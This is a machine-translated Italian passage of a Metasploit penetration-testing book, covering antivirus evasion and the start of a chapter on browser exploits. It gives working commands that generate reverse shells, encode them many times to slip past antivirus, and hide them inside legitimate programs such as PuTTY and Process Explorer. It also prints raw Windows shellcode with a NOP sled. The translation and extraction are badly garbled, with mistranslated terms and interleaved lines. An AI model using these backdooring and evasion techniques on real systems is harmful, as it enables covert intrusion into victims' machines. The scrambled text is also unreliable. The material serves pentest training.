Codifica con MSFencode


Uno dei modi migliori per evitare di essere fermati dal software antivirus è codificare il nostro carico utile con
codice msfen. Msfencode è uno strumento utile che altera il codice in un eseguibile in modo che appaia diverso da
software antivirus ma funzionerà comunque allo stesso modo. Tanto quanto l'allegato binario nell'e-mail è codificato
in Base64, msfencode codifica l'eseguibile originale in un nuovo binario. Quindi, quando l'eseguibile è
run, msfencode decodifica il codice originale in memoria e lo esegue.

Puoi usare msfencode -h per vedere un elenco di opzioni di utilizzo di msfencode. Delle opzioni msfencode, il
i formati dell'encoder sono tra i più importanti. Per un elenco dei formati di codifica, utilizziamo msfencode -l, as
mostrato di seguito. Si noti che codificatori diversi vengono utilizzati per piattaforme diverse, perché, ad esempio, a
L'encoder Power PC (PPC) non funzionerà correttamente su una piattaforma x86 a causa delle differenze nel
due architetture.

root@bt:/opt/framework3/msf3# msfencode -l

Codificatori di struttura
====================

Nome Rango Descrizione


---- ---- -----------
cmd/generico_sh Buona Conchiglia generica
Encoder del comando di sostituzione delle variabili
cmd/ifs Encoder del comando di sostituzione ${IFS} generico
generico/nessuno basso L'encoder "nessuno".
mipsbe/longxor mipsle/ normale codificatore XOR
longxor php/base64 normale codificatore XOR
ppc/longxor ppc/ normale Codificatore PHP Base64
longxor_tag sparc/ normale Codificatore PPC LongXOR
longxor_tag x64/xor normale Codificatore PPC LongXOR
x86/alpha_mixed normale Codificatore SPARC DWORD XOR
normale codificatore XOR
normale basso Encoder alfanumerico alfa2 a case miste
Machine Translated by Google
x86/alpha_upper basso Encoder alfanumerico maiuscolo alfa2
x86/avoid_utf8_tolower manual x86/ Evita UTF8/tolower
call4_dword_xor normal x86/countdown
normal Encoder Call+4 Dword XOR
x86/fnstenv_mov normal x86/ Encoder per conto alla rovescia XOR a byte singolo
jmp_call_additive normal x86/nonalpha
x86/ Encoder XOR Dword Fnstenv/mov a lunghezza variabile
nonupper x86/shikata_ga_nai x86/ Salta/chiama l'encoder di feedback additivo XOR
single_static_bit manual x86/ Codificatore non alfa
unicode_mixed manual x86/unicode_upper Encoder non superiore
manual basso basso eccellente Encoder di feedback additivo XOR polimorfico
Bit statico singolo
Encoder alfanumerico a case miste Unicode Alpha2
Encoder maiuscolo alfanumerico alfanumerico alfa2

Ora eseguiremo una semplice codifica di un payload MSF importando l'output non elaborato da msfpayload in
msfencode per vedere come il risultato influisce sul nostro rilevamento antivirus:

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R


|
msfencode -e x86 / shikata_ga_nai> / -t exe
var/www/payload2.exe
[*] x86/shikata_ga_nai riuscito con dimensione 342 (iterazione=1)

root@bt:/# file /var/www/payload2.exe


/var/www/2.exe: PE eseguibile MS-DOS per MS Windows (GUI) Intel 80386 a 32 bit

Aggiungiamo il flag R alla riga di comando di msfpayload per specificare l'output non elaborato, perché lo inseriremo
output direttamente in msfencode. Specifichiamo l' encoder x86/shikata_ga_nai in e diciamo a msfencode
per inviare l'output eseguibile -t exe a /var/www/payload2.exe. Infine, eseguiamo un rapido controllo su
per garantire che il file risultante sia effettivamente un eseguibile di Windows. La risposta ci dice che lo è.
Sfortunatamente, dopo che il file payload2.exe è stato copiato nel sistema Windows, AVG rileva il nostro
carico utile codificato ancora una volta, come mostrato nella Figura 7-2.

Figura 7-2. AVG ha rilevato il nostro carico utile codificato.

Codifica multipla
Quando eseguiamo il rilevamento antivirus senza modificare il binario statico stesso, è sempre un
gioco del gatto e del topo, perché le firme antivirus vengono aggiornate frequentemente per rilevare nuove e modificate
carichi utili. All'interno del Framework, possiamo ottenere risultati migliori attraverso la multi-codifica, che consente il
payload da codificare più volte per eliminare i programmi antivirus che controllano le firme.

Nell'esempio precedente, la codifica shikata_ga_nai è polimorfica, il che significa che il carico utile sarà
Machine
cambia Translated
ogni by Google
volta che viene eseguito lo script. Naturalmente, il carico utile che un prodotto antivirus segnalerà
è un mistero: ogni volta che generi un carico utile, lo stesso programma antivirus può segnalarlo una volta e perderlo
un'altra volta.

Si consiglia di testare lo script utilizzando una versione di valutazione di un prodotto per verificare se
ignora il software antivirus prima di utilizzarlo in un test di penetrazione. Ecco un esempio di utilizzo di
più passaggi di codifica:
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp

LHOST = 192.168.1.101 LPORT = 31337 R | msfencode -e x86 / shikata_ga_nai -c 5


-t crudo | msfencode -e x86/alpha_upper -c 2 -t raw |
msfencode -e

x86 / shikata_ga_nai -c 5 -t raw


| msfencode -e x86 / conto alla rovescia -c 5

-t exe -o /var/www/payload3.exe
[*] x86/shikata_ga_nai riuscito con dimensione 318 (iterazione=1) [*] x86/shikata_ga_nai
riuscito con dimensione 345 (iterazione=2) [*] x86/shikata_ga_nai riuscito con
dimensione 372 (iterazione=3) [*] x86/ shikata_ga_nai riuscito con la dimensione 399
(iterazione=4) [*] x86/shikata_ga_nai riuscito con la dimensione 426 (iterazione=5) [*]
x86/alpha_upper riuscito con la dimensione 921 (iterazione=1) [*] x86/alpha_upper
riuscito con la dimensione 1911 (iterazione=2) [*] x86/shikata_ga_nai riuscito con
dimensione 1940 (iterazione=1) [*] x86/shikata_ga_nai riuscito con dimensione 1969
(iterazione=2) [*] x86/shikata_ga_nai riuscito con dimensione 1998 (iterazione=3) [*]
x86/shikata_ga_nai riuscito con dimensione 2027 (iterazione=4) [*] x86/shikata_ga_nai
riuscito con dimensione 2056 (iterazione=5) [*] x86/countdown riuscito con dimensione
2074 (iterazione=1) [*] x86/ conto alla rovescia riuscito con dimensione 2092
(iterazione=2) [*] x86/conto alla rovescia riuscito con dimensione 2110 (iterazione=3) [*]
x86/conto alla rovescia riuscito con dimensione 2128 (iterazione=4) [*] x86/conto alla
rovescia riuscito con dimensione 21 46 (iterazione=5) root@bt:/opt/framework3/msf3#

Qui usiamo cinque conteggi di shikata_ga_nai, alimentando il codice in formato non elaborato in due conteggi
, conteggi
di codifica alpha_upper a cui viene quindi inviato
di codifica
altri del
cinque
conto
conteggi
alla rovescia
di shikata_ga_nai
su eseguibile.
, seguiti
Stiamo dautilizzando
cinque
, prima diil dirigere
un totale di 17 cicli di codifica nel tentativo di aggirare softwarefinalmente
antivirus. E,
l'output
comenel
puoi
desiderato
vedere nella Figura
7-3, abbiamo superato con successo il nostro carico utile dal motore antivirus.

Figura 7-3. AVG non ha rilevato il payload multicodificato.


Machine Translated by Google

Modelli eseguibili personalizzati In genere, quando


viene eseguito msfencode , il payload viene incorporato nel modello eseguibile predefinito in data/templates/
template.exe. Sebbene questo modello venga modificato occasionalmente, i fornitori di antivirus lo cercano
ancora durante la creazione delle firme. Tuttavia, msfencode ora supporta l'uso di qualsiasi eseguibile di
Windows al posto del modello eseguibile predefinito tramite l' opzione -x . Nell'esempio seguente, codifichiamo
nuovamente il nostro carico utile utilizzando Process Explorer di Sysinternals Suite di Microsoft come modello
eseguibile personalizzato.
root@bt:/opt/framework3/msf3# wget http://download.sysinternals.com/Files/
ProcessExplorer.zip

. . . SPICCHIA. . .

2011-03-21 17:14:46 (119 KB/s) - 'ProcessExplorer.zip' salvato [1615732/1615732]

root@bt:/opt/framework3/msf3# cd lavoro/
root@bt:/opt/framework3/msf3/work# unzip ../ProcessExplorer.zip Archivio: ../
ProcessExplorer.zip gonfiaggio: procexp.chm gonfiaggio: procexp.exe gonfiaggio:
Eula.txt root@bt:/opt/ framework3/msf3/work# cd .. root@bt:/opt/framework3/msf3#
msfpayload windows/shell_reverse_tcp

LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe

-o /var/www/pe_backdoor.exe -e x86 / shikata_ga_nai -c 5 [*] x86 /


shikata_ga_nai riuscito con dimensione 342 (iterazione = 1) [*] x86 / shikata_ga_nai
riuscito con dimensione 369 (iterazione = 2) [* ] x86 / shikata_ga_nai riuscito con
dimensione 396 (iterazione = 3) [*] x86 / shikata_ga_nai riuscito con dimensione
423 (iterazione = 4) [*] x86 / shikata_ga_nai riuscito con dimensione 450 (iterazione
= 5)

Come puoi vedere, scarichiamo Process Explorer da Microsoft, quindi lo decomprimiamo in Quindi . usiamo l'
opzione -x per specificare il binario Process Explorer scaricato da utilizzare come modello personalizzato.
Al termine della codifica, avviamo il multi-handler tramite msfcli per ascoltare la connessione in entrata,
come mostrato qui:
root@bt:/opt/framework3/msf3# msfcli exploit/multi/handler PAYLOAD=windows/
shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 E
[*] Attendi mentre carichiamo l'albero dei moduli...
[*] Avviato il gestore inverso il 192.168.1.101:8080 [*] Avvia il
gestore del carico utile...
[*] Sessione della shell di comando 1 aperta (192.168.1.101:8080 -> 192.168.1.195:1191)

C:\Documenti e impostazioni\Amministratore\Documenti\Download>

E voilà: abbiamo aperto con successo una shell senza essere rilevati dal software antivirus.
Machine Translated by Google

Figura 7-4. L'eseguibile con backdoor non viene rilevato da AVG.


Machine Translated by Google
Avvio furtivo di un payload Nella maggior parte dei
casi, quando un utente mirato avvia un eseguibile backdoor come quello che abbiamo appena
generato, non sembrerà che accada nulla e ciò può sollevare sospetti. Per aumentare le tue possibilità
di non segnalare un obiettivo, puoi avviare un carico utile continuando contemporaneamente la normale
esecuzione dell'applicazione avviata, come mostrato qui:
root@bt:/opt/framework3/msf3# wget http://the.earth.li/˜sgtatham/

stucco/latest/x86/putty.exe

. . . SPICCHIA. . .

21-03-2011 17:02:48 (133 KB/s) - 'putty.exe' salvato [454656/454656] root@bt:/opt/


framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -o /var/

www / putty_backdoor.exe -e x86 / shikata_ga_nai -k [*] x86 / -c 5


shikata_ga_nai riuscito con dimensione 342 (iterazione = 1) [*] x86 / shikata_ga_nai
riuscito con dimensione 369 (iterazione = 2) [*] x86 / shikata_ga_nai riuscito con
dimensione 396 (iterazione = 3) [*] x86 / shikata_ga_nai riuscita con dimensione
423 (iterazione = 4) [*] x86 / shikata_ga_nai riuscita con dimensione 450 (iterazione
= 5)

In questo elenco, scarichiamo il client SSH di Windows PuTTY in e quindi accediamo a PuTTY utilizzando il flag -k
. Il l'applicazione
in modo che flag -k configura
si comporterà
il payload per
normalmente
l'avvio in undurante
thread separato
l'esecuzione
dall'eseguibile
del payload.principale
Ora, come mostrato nella
Figura 7-5, quando questo eseguibile viene elaborato con AVG, torna pulito e dovrebbe essere eseguito presentandoc
ancora una shell! (Questa opzione potrebbe non funzionare con tutti gli eseguibili, quindi assicurati di testare il tuo
prima della distribuzione.)

Quando scegli di incorporare un payload in un eseguibile, dovresti considerare l'utilizzo di applicazioni


basate su GUI se non stai specificando il flag -k . Se incorpori un payload in un'applicazione basata su
console, quando il payload viene eseguito, verrà visualizzata una finestra della console che non si chiuderà
finché non avrai finito di utilizzare il payload. Se scegli un'applicazione basata su GUI e non specifichi il flag -k ,
quando il payload viene eseguito, la destinazione non vedrà una finestra della console. Prestare attenzione a questi
piccoli dettagli può aiutarti a rimanere furtivo durante un fidanzamento.

Figura 7-5. AVG dichiara che il carico utile e il computer sono protetti.
Machine Translated by Google

Imballatori
I packer sono strumenti che comprimono un eseguibile e lo combinano con il codice di decompressione. Quando questo
nuovo eseguibile viene eseguito, il codice di decompressione ricrea l'eseguibile originale dal compresso
codice prima di eseguirlo. Questo di solito avviene in modo trasparente in modo da poter utilizzare l'eseguibile compresso
esattamente allo stesso modo dell'originale. Il risultato del processo di imballaggio è un eseguibile più piccolo
conserva tutte le funzionalità dell'originale.

Come con msfencode, i packer modificano la struttura di un eseguibile. Tuttavia, a differenza di msfencode
processo di codifica, che spesso aumenta le dimensioni di un eseguibile, verrà utilizzato da un packer scelto con cura
vari algoritmi per comprimere e crittografare un eseguibile. Successivamente, utilizziamo il popolare packer UPX
con Back|Track per comprimere e codificare il nostro payload payload3.exe nel tentativo di eludere l'antivirus
rilevamento del software.

root@bt:/# apt-get install upx

. . . SPICCHIA. . .

root@bt:/# upx
Ultimate Packer per eseguibili
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar e John Reiser, 27 settembre 2009

Utilizzo: file upx [-123456789dlthVL] [-qvfk] [-o file] ..

. . . SPICCHIA. . .

Digita "upx--help" per una guida più dettagliata.


UPX viene fornito con ASSOLUTAMENTE NESSUNA GARANZIA; per i dettagli visitare http://upx.sf.net

root@bt:/# upx -5 /var/www/payload3.exe


Ultimate Packer per eseguibili
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar e John Reiser, 27 settembre 2009

Dimensione del file Rapporto Formato Nome


-------------------- ------ ----------- -----------

37888 -> 22528 59,46% win32/pe payload3.exe

Imballato 1 file.

Installiamo UPX, quindi eseguiamo UPX senza argomenti per visualizzare le opzioni della riga di comando.

Quindi usiamo l' opzione -5 per comprimere e comprimere il nostro eseguibile. Puoi vedere a quell'UPX
comprime il nostro carico utile del 59,46%.

Nei nostri test, solo 9 dei 42 fornitori di antivirus hanno rilevato i file binari con pacchetto UPX.

NOTA

Il progetto PolyPack (http://jon.oberheide.org/files/woot09-polypack.pdf) mostra i risultati dell'imballaggio di file binari dannosi noti
con vari packer e l'efficacia del rilevamento antivirus prima e dopo il processo di confezionamento.
Machine Translated by Google
VELENO di MSF

In questo capitolo trattiamo solo le utilità msfpayload e msfencode, ma c'è uno strumento aggiuntivo chiamato msfvenom che
combina le funzionalità di msfpayload e msfencode in un'interfaccia più semplice da usare. Msfvenom non è trattato in dettaglio in questo
libro (vedi Appendice B), ma dovrebbe essere molto facile da usare dopo aver acquisito familiarità con msfpayload e msfencode.
Machine Translated by Google

Una nota finale sull'evasione del software antivirus


Il mondo dei software antivirus si muove molto rapidamente, anche per gli standard di Internet. Al momento della
stesura di questo documento, i metodi ei processi documentati in questo capitolo funzionano con successo; tuttavia,
l'esperienza ha dimostrato che anche pochi mesi possono portare a grandi cambiamenti nel modo in cui viene
realizzata l'evasione antivirus. Sebbene il team di Metasploit modifichi costantemente i suoi payload e tenti di stare
un passo avanti rispetto agli algoritmi di rilevamento, non sorprenderti se nel momento in cui lavori su questi
esempi, alcuni funzionano e altri no. Quando stai tentando di eludere l'antivirus, considera l'utilizzo di più packer o
codificatori, come accennato, o scrivi il tuo. L'evasione antivirus, come tutte le abilità di test di penetrazione, deve
essere praticata e richiede una ricerca dedicata per aiutarti a garantire il successo nei tuoi impegni.
Machine Translated by Google
Capitolo 8. Sfruttamento mediante attacchi lato client Anni di attenzione sui perimetri
di rete difensivi hanno ridotto drasticamente le tradizionali superfici di attacco.
Quando una via di attacco diventa troppo difficile da penetrare, gli aggressori possono trovare metodi nuovi e più
semplici per attaccare i loro bersagli. Gli attacchi lato client sono stati la successiva evoluzione degli attacchi dopo
che le difese di rete sono diventate più importanti. Questi attacchi prendono di mira il software comunemente installato
sui computer in programmi come browser Web, lettori PDF e applicazioni Microsoft Office.
Poiché questi programmi sono comunemente installati sui computer immediatamente, sono ovvi vettori di attacco per gli
hacker. È anche comune che queste applicazioni non siano aggiornate sui computer degli utenti a causa di cicli di patch
irregolari. Metasploit include una serie di exploit lato client integrati, che tratteremo in modo approfondito in questo capitolo.

Se riesci a bypassare tutte le contromisure protettive che un'azienda ha in atto e infiltrarti in una rete inducendo un utente
a fare clic su un collegamento dannoso, hai molte più possibilità di raggiungere un compromesso. Supponiamo, ad
esempio, di eseguire un test di penetrazione nascosto contro un obiettivo aziendale utilizzando l'ingegneria sociale. Decidi
che inviare un'e-mail di phishing a utenti mirati presenterà le tue migliori possibilità di successo. Raccogli account di posta
elettronica, nomi e numeri di telefono; navigare nei siti di social network; e creare un elenco di dipendenti conosciuti. L'e-
mail dannosa indica ai destinatari dell'e-mail che le informazioni sul libro paga devono essere aggiornate; per farlo, devono
fare clic su un collegamento (un collegamento dannoso) nell'e-mail. Tuttavia, non appena l'utente fa clic sul collegamento,
la macchina viene compromessa ed è possibile accedere alla rete interna dell'organizzazione.

Questo scenario è una tecnica comune utilizzata regolarmente sia nei test di penetrazione che negli attacchi
dannosi effettivi. Spesso è più facile attaccare tramite gli utenti che sfruttare le risorse che si affacciano su Internet.
La maggior parte delle organizzazioni spende una notevole quantità di denaro per proteggere i propri sistemi collegati a
Internet con strumenti come i sistemi di prevenzione delle intrusioni (IPS) e i firewall delle applicazioni Web, mentre non
investe altrettanto nell'educare i propri utenti sugli attacchi di ingegneria sociale.

Nel marzo 2011, RSA, una nota azienda di sicurezza, è stata compromessa da un aggressore sfruttando questo stesso
processo. Un malintenzionato ha inviato un'e-mail estremamente mirata (spear-phishing) creata appositamente per una
vulnerabilità zero-day di Adobe Flash. (Lo spear-phishing è un attacco in base al quale gli utenti vengono ricercati e presi
di mira piuttosto che scelti casualmente da una rubrica aziendale.)
Nel caso di RSA, l'e-mail ha preso di mira un piccolo gruppo di utenti ed è stata in grado di compromettere i sistemi connessi
internamente di RSA e di penetrare ulteriormente nella sua rete.

Exploit basati su browser In questo


capitolo ci concentreremo sugli exploit basati su browser all'interno di Metasploit. Gli exploit basati su browser
sono tecniche importanti, perché in molte organizzazioni gli utenti trascorrono più tempo a utilizzare i propri
browser Web rispetto a qualsiasi altra applicazione sui propri computer.

Considera un altro scenario: inviamo un'e-mail a un piccolo gruppo di un'organizzazione con un collegamento su cui ogni
utente farà clic. Gli utenti fanno clic sul collegamento e i loro browser si aprono al nostro sito Web, appositamente creato
per sfruttare una vulnerabilità in una determinata versione di Internet Explorer. L'applicazione del browser degli utenti è
suscettibile a questo exploit ed è ora compromessa semplicemente dagli utenti che visitano il nostro sito Web dannoso. Da
parte nostra, l'accesso sarebbe ottenuto tramite un payload (Meterpreter, per esempio) in esecuzione nel contesto dell'utente
che ha visitato il sito.

Nota un elemento importante in questo esempio: se l'utente di destinazione fosse in esecuzione come amministratore,
l'attaccante (noi) farebbe lo stesso. Gli exploit lato client vengono tradizionalmente eseguiti con le stesse autorizzazioni e
Machine
diritti comeTranslated
bersagliobyche
Google
sfruttano. Spesso si tratta di un utente normale senza privilegi amministrativi, quindi
sarebbe necessario eseguire un attacco di escalation dei privilegi per ottenere un accesso aggiuntivo e sarebbe
necessario un exploit aggiuntivo per elevare i privilegi. Potremmo anche potenzialmente attaccare altri sistemi sulla
rete nella speranza di ottenere l'accesso a livello amministrativo. In altri casi, invece, i livelli di autorizzazione dell'utente
corrente sono sufficienti per ottenere l'infiltrazione. Considera la tua situazione di rete: i tuoi dati importanti sono
accessibili tramite account utente? O è accessibile solo all'account amministratore?

Come funzionano gli exploit basati sul browser Gli exploit del
browser sono simili a qualsiasi exploit tradizionale ma con una differenza importante: il metodo utilizzato per la
consegna dello shellcode. In un exploit tradizionale, l'intero obiettivo dell'attaccante è ottenere l'esecuzione di codice
in modalità remota e fornire un payload dannoso. Negli exploit del browser, il modo più tradizionale per ottenere
l'esecuzione di codice in modalità remota è attraverso una tecnica di sfruttamento chiamata heap spraying. Ma prima
di esaminare in dettaglio l'heap spraying, parliamo di cos'è l'heap e di come viene utilizzato.
L'heap è la memoria non allocata e utilizzata dall'applicazione secondo necessità per la durata del runtime del
programma. L'applicazione assegnerà tutta la memoria necessaria per completare qualsiasi attività a portata di mano.
L'heap si basa sulla quantità di memoria disponibile e utilizzata dal computer durante l'intero ciclo di vita
dell'applicazione. La posizione della memoria allocata in fase di esecuzione non è nota in anticipo, quindi come
attaccanti non sapremmo dove posizionare il nostro shellcode. Gli hacker non possono semplicemente chiamare un
indirizzo di memoria e sperare di atterrare al carico utile: la casualità della memoria allocata dall'heap lo impedisce e
questa casualità era una sfida importante prima che venisse scoperto l'heap spraying.
Prima di procedere, è inoltre necessario comprendere il concetto di istruzione di non operazione (NOP) e diapositiva
NOP. I NOP sono trattati in dettaglio nel Capitolo 15, ma qui tratteremo le basi perché sono importanti per capire
come funziona l'heap spraying. Un NOP è un'istruzione di assemblaggio che dice: "Non fare nulla e passare all'istruzione
successiva". Una diapositiva NOP comprende più NOP adiacenti in memoria, occupando sostanzialmente spazio. Se il
flusso di esecuzione di un programma incontra una serie di istruzioni NOP, "scorrerà" linearmente fino alla fine di esse
fino all'istruzione successiva. Un NOP, nell'architettura Intel x86, ha un codice operativo di 90, comunemente visto nel
codice exploit come \x90.
La tecnica di spruzzatura dell'heap prevede il riempimento dell'heap con un modello ripetitivo noto di diapositive
NOP e lo shellcode fino a riempire l'intero spazio di memoria con questo valore noto. Ricorderai che la memoria
nell'heap è allocata dinamicamente in fase di esecuzione del programma. Questo di solito viene fatto tramite
JavaScript, che fa aumentare significativamente la memoria allocata del browser. L'attaccante riempie grandi blocchi
di memoria con diapositive NOP e shellcode subito dopo. Quando il flusso di esecuzione del programma viene alterato
e salta casualmente da qualche parte nella memoria, c'è una buona possibilità di colpire una diapositiva NOP e alla
fine colpire lo shellcode. Invece di cercare un ago in un pagliaio, ovvero lo shellcode in memoria, l'heap spraying offre
dall'85 al 90 percento di possibilità che l'exploit abbia successo.
Questa tecnica ha cambiato il gioco nello sfruttamento del browser e nell'affidabilità dello sfruttamento dei bug del
browser. Non tratteremo il codice effettivo dietro l'heap spraying, perché è un argomento di sfruttamento avanzato,
ma dovresti conoscere le basi in modo da poter capire come funzionano questi exploit basati su browser. Prima di
iniziare a lanciare il nostro primo exploit del browser, diamo un'occhiata a cosa accade effettivamente dietro le quinte
quando viene lanciato un exploit.

Considerare i NOP Ora che


hai compreso le basi di un heap spray e di un NOP, diamo un'occhiata a una diapositiva NOP generica in un vero
exploit. Nell'elenco seguente, nota la rappresentazione esadecimale di \x90, Intel
Machine
codice Translated
operativo by Google x86. Un assemblaggio Intel x86 da 90 pollici è un NOP. Qui puoi vedere una serie di
dell'architettura
\x90 che creano il nostro effetto diapositiva NOP. Il resto del codice è il carico utile, come una shell inversa o una
shell Meterpreter.
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xfc\xe8\x89\x00\x00 \x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30
\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2
\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01 \xd0\x8b\x40\x78\x85
\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3
\x3c\x49\x8b\x34\x8b \x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d
\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58
\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b
\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b \x61\x59\x5a\x51\xff
\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68 \x77\x73\x32\x5f\x54
\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01
\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50
\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31
\xdb\x53\x68\x02\x00\x01 \xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2
\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53 \x53
\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d
\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02 \xd9\xc8\x5f\xff
\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58
\xa4\x53\xe5\xff\xd5\x93 \x53\x6a\x00\x56\x53\x57\x68\x02\xd9
\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
Machine Translated by Google
Utilizzo di Immunity Debugger per decifrare NOP Shellcode Debugger offre una
finestra sullo stato di esecuzione di un programma, incluso il flusso di istruzioni dell'assembly, il
contenuto della memoria e i dettagli dell'eccezione. I tester di penetrazione sfruttano regolarmente i
debugger per identificare le vulnerabilità zero-day e per capire come funziona un'applicazione e
come attaccarla. Esistono numerosi debugger, ma la nostra preferenza personale per il futuro (e
utilizzata nei capitoli successivi) è Immunity Debugger. Ti consigliamo di dare un'occhiata alle basi
di Immunity Debugger prima di procedere.
Per capire cosa fa una diapositiva NOP, usiamo un debugger per vedere come funziona lo shellcode NOP
nell'esempio precedente. Sulla tua destinazione Windows XP, scarica e installa Immunity Debugger da http://
www.immunityinc.com/. Useremo il comando msfpayload per generare shellcode di esempio per una semplice shell di
collegamento TCP, in ascolto sulla porta 443. Come hai appreso nei capitoli precedenti, una shell di collegamento è
semplicemente in ascolto su una porta su una macchina target a cui possiamo connetterci.

root@bt:/opt/framework3/msf3# msfpayload windows/shell/bind_tcp LPORT=443 C


Quando questi comandi vengono eseguiti, i codici shell "stage 1" e "stage 2" vengono creati nell'output. Ci occupiamo
solo dello shellcode dello stadio 1, perché Metasploit gestirà l'invio del secondo stadio per noi quando ci connettiamo
ad esso. Copia e incolla lo shellcode dalla fase 1 in un editor di testo a tua scelta. Avrai bisogno di apportare alcune
modifiche minori prima di procedere.
Ora che hai il tuo shellcode di base, aggiungi tutti i NOP che vuoi all'inizio (come \x90\x90\x90\x90\x90). Quindi rimuovi
tutte le \x occorrenze in modo che appaia simile a quanto segue:
9090909090909090909090909090909090909090909090909
09090909090909090909090909090909090909090f
ce8890000006089e531d2648b52308b520c8b52148b72280fb74a26
31ff31c0ac3c617c022c20c1cf0d01c7e2f0
52578b52108b423c01d08b407885c0744a01d0508b48188
b582001d3e33c498b348b01d631ff31c0acc1cf0d01c
738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d
38b048b01d0894424245b5b61595a51ffe058
5f5a8b12eb865d6833320000687773325f54684c772607ffd5b8
9001000029c454506829806b00ffd5505050504
050405068ea0fdfe0ffd59731db5368020001bb89e66a105657
68c2db3767ffd5535768b7e938ffffd553535768
74ec3be1ffd5579768756e4d61ffd56a006a0456576802d9c85fffd58b
366a406800100000566a006858a453e5f
fd593536a005653576802d9c85fffd501c329c685f675ecc3

Tutto ciò è necessario perché è necessario utilizzare un formato particolare in modo che Immunity Debugger
accetti il copia e incolla delle istruzioni di montaggio. Ora hai una shell di collegamento con alcuni NOP davanti per
il test. Quindi, apri qualsiasi eseguibile: usiamo iexplore.exe per questo esempio. Apri Immunity Debugger, scegli
File ÿ Apri e punta a un eseguibile. Dovresti vedere una serie di istruzioni di montaggio nella finestra principale
(quella più grande). Fare clic con il pulsante sinistro del mouse sulla prima istruzione sullo schermo e tenere premuto
Maiusc mentre si fa clic con il pulsante sinistro del mouse per evidenziare circa 300 istruzioni sotto di essa.
Copia lo shellcode negli appunti e fai clic con il pulsante destro del mouse nella finestra di Immunity Debugger e
scegli Binario ÿ Incolla binario. Questo incollerà le istruzioni di montaggio dell'esempio nella finestra di Immunity
Debugger. (Ricorda che lo stiamo facendo per identificare come funzionano i NOP e come vengono eseguite le
istruzioni di montaggio.)
Si può vedere nella Figura 8-1 che sono inseriti alcuni PON; se dovessi scorrere verso il basso, vedresti il tuo
shellcode.
Machine
Quando Translated
abbiamo by Google
esportato per la prima volta il nostro shellcode in un formato bind_tcp , l'ultima istruzione fino allo stadio 1 è
terminata con ecc3. Individua l'ultimo set di istruzioni di memoria che abbiamo aggiunto terminando con ecc3.

Subito dopo l' ec3, premi F2 per creare un punto di interruzione. Quando si aggiunge un punto di interruzione, una volta che il flusso
di esecuzione lo incontra, l'esecuzione del programma si interromperà e non continuerà. Questo è importante qui, perché il codice ha
ancora molti dei vecchi resti dell'applicazione che abbiamo aperto e continuare causerebbe l'arresto anomalo dell'applicazione,
perché abbiamo già inserito il nostro codice. Vogliamo fermarci e indagare su cosa è successo prima che l'applicazione si arresti in
modo anomalo.

Figura 8-1. Esempi di più NOP che creano la diapositiva NOP

Nell'esempio in Figura 8-2, notare l'ultimo set di istruzioni, che è un C3. Questa è l'ultima istruzione impostata nella nostra shell di
collegamento di cui abbiamo bisogno.

Dopo quel C3, premi F2, che imposta un altro punto di interruzione. Ora siamo pronti per partire e vedere cosa succede.
Torna all'inizio, dove hai aggiunto i tuoi NOP, e premi F7, che dice al debugger di eseguire il prossimo comando di assemblaggio,
entrando nella tua prossima istruzione di assemblaggio. Si noti che l'evidenziazione si sposta in basso di una riga. Non è successo
niente perché hai aggiunto un NOP.

Quindi, premi F7 alcune volte per scorrere la diapositiva NOP. Quando arrivi per la prima volta alle istruzioni di memoria,
apri un prompt dei comandi e digita netstat -an. Niente dovrebbe essere in ascolto su 443, e questo è un buon segno che il tuo
carico utile non è ancora stato eseguito.

Premere F5 per continuare a eseguire il resto dell'applicazione finché non raggiunge il punto di interruzione impostato.
Dovresti vedere il punto di interruzione indicato nell'angolo in basso a sinistra della finestra di Immunity Debugger.
A questo punto, hai eseguito il tuo carico utile all'interno del debugger e ora dovresti essere in grado di controllare netstat -an e
notare la porta 443 in ascolto.

Su una macchina remota, prova a telnet alla macchina di destinazione sulla porta 443. Noterai che non succede nulla; questo
perché l'ascoltatore non ha ancora ricevuto la seconda fase da Metasploit. Sulla tua macchina virtuale Back|Track, accedi a
Metasploit e configura un gestore multiplo. Questo dirà a Metasploit che un listener di prima fase è sulla porta 443 sulla macchina
di destinazione.
Machine Translated by Google

